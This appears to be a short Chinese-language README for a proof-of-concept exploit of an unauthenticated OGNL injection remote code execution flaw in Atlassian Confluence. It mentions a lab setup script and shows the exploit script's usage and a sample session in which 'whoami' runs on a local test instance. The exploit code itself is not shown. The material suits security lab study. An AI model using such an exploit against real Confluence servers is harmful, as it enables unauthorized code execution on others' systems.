OGNL 领域中的又一个漏洞利用
Confluence 是由澳大利亚软件公司 Atlassian 开发的基于 Web 的企业维基系统。
2022 年 6 月 2 日,Atlassian 针对其 Confluence Server 和 Data Center 应用发布了一份安全公告,强调了一个严重级别的未认证远程代码执行漏洞。该 OGNL 注入漏洞允许未认证用户在 Confluence Server 或 Data Center 实例上执行任意代码。
要搭建实验环境,请运行 start_conflunce.sh 并按照此处给出的说明进行操作。
$ ./confluence-exploit.py
usage: confluence-exploit.py [-h] -u URL
confluence-exploit.py: error: the following arguments are required: -u/--url
$ ./confluence-exploit.py -u http://127.0.0.1:8090
🔗 URL: http://127.0.0.1:8090
👉 (id): whoami
confluence